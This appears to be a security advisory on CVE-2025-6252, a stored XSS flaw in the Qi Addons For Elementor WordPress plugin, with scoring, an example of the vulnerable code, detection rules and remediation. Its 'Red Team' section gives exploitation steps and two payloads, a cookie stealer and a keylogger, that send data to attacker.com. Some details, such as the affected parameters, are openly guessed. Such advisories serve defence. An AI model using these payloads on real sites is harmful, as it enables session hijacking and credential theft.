CVE-2025-6252

Executive Summary

CVE-2025-6252 is a Stored Cross-Site Scripting (XSS) vulnerability in the Qi Addons For Elementor WordPress plugin, affecting all versions up to and including 1.9.1. The flaw arises from insufficient input sanitization and output escaping on several parameters, allowing authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious payload, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 6.4 (Medium), with a low EPSS probability (0.0%) indicating limited active exploitation at this time. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin through the WordPress dashboard or via direct download are at risk. The plugin is a third-party add-on for the Elementor page builder, which is widely used. Since no patch is available, the supply chain risk is elevated; users must rely on manual mitigation or removal.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – Contributor-level access
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – impacts resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires authentication but is trivial to exploit once access is obtained. The stored XSS can affect all users, including administrators, making it a vector for privilege escalation or lateral movement.

Deep Dive & Mechanics

The vulnerability resides in the Qi Addons For Elementor plugin, which extends the Elementor page builder with custom widgets. The plugin fails to properly sanitize user-supplied input and escape output when rendering certain parameters in the frontend. An attacker with Contributor-level access (or higher) can create or edit a post/page using Elementor and inject malicious JavaScript into fields such as widget titles, descriptions, or custom CSS classes.

The injected script is stored in the WordPress database and executed when any user (including site visitors) loads the compromised page. Because the plugin does not escape the output, the browser interprets the injected code as legitimate HTML/JavaScript.

Key vulnerable parameters (based on typical Elementor widget patterns) include:

• title
• description
• button_text
• custom_class
• link_url

The attack flow:

1. Attacker logs in with Contributor credentials.
2. Creates a new page or edits an existing one using Elementor.
3. Inserts a Qi Addons widget (e.g., "Info Box" or "Button").
4. Injects a payload like <script>alert('XSS')</script> into a vulnerable field.
5. Publishes or saves the page.
6. Any user visiting the page triggers the script.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern. The plugin likely uses echo or esc_html() incorrectly.

Vulnerable code (example):

// In a widget render method
echo $settings['title']; // No escaping

Patched code (expected):

// Proper escaping
echo esc_html( $settings['title'] );

The plugin should use esc_html(), esc_attr(), or wp_kses_post() depending on the context. The absence of such escaping allows arbitrary HTML/JavaScript injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Qi Addons For Elementor <= 1.9.1
• Contributor-level account (or higher)
• Elementor page builder active

Steps:

1. Log in as a Contributor.
2. Navigate to Pages > Add New.
3. Click "Edit with Elementor".
4. Search for "Qi" in the widget panel and drag a widget (e.g., "Info Box").
5. In the widget settings, locate a text field (e.g., "Title").
6. Inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

7. Update the page and publish.
8. Wait for an administrator to visit the page, or share the link.

Alternative payload (keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual JavaScript in page content, especially in Elementor-rendered pages.
• Look for HTTP requests to unknown external domains from the WordPress admin area.
• Check for Contributor accounts creating pages with suspicious content.

Hardening (temporary):

• Disable the Qi Addons For Elementor plugin until a patch is released.
• Implement a Web Application Firewall (WAF) rule to block <script> tags in POST data.
• Restrict Contributor-level access to trusted users only.
• Use a security plugin like Wordfence to scan for XSS payloads.

Indicators of Compromise (IOCs)

• File-based: Modified pages/posts containing <script> tags in Elementor widget data.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Log-based: Unusual page edits by Contributor-level users, especially with Elementor.
• Database: Entries in wp_postmeta with meta_key containing _elementor_data and meta_value including JavaScript.

Example IOC in database:

SELECT * FROM wp_postmeta WHERE meta_key LIKE '%_elementor_data%' AND meta_value LIKE '%<script>%';

Detection Engineering

YARA Rule

rule CVE_2025_6252_Qi_Addons_XSS {
    meta:
        description = "Detects stored XSS payloads in Qi Addons For Elementor plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6252"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via Qi Addons For Elementor
id: 7a3b8c2d-1e4f-5a6b-7c8d-9e0f1a2b3c4d
status: experimental
description: Detects potential stored XSS attempts in WordPress pages using Qi Addons
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url|contains: '/wp-admin/admin-ajax.php'
        http.body|contains:
            - 'qi_addons_for_elementor'
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in Elementor widgets (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-6252 Qi Addons Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"qi_addons_for_elementor"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete the Qi Addons For Elementor plugin until a patched version is released.
2. Audit existing content – Scan all pages and posts for injected scripts using the YARA rule above.
3. Review user roles – Remove Contributor-level access from untrusted users.

Long-term Fix:

• Monitor the plugin's official page for a security update (version > 1.9.1).
• Apply the patch as soon as it becomes available.
• Consider using a Web Application Firewall (WAF) with XSS protection rules.

Workaround (if plugin must remain active):

• Implement a Content Security Policy (CSP) header to block inline scripts:

  Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
  

• Use a WordPress security plugin to add XSS filtering.

Valters IT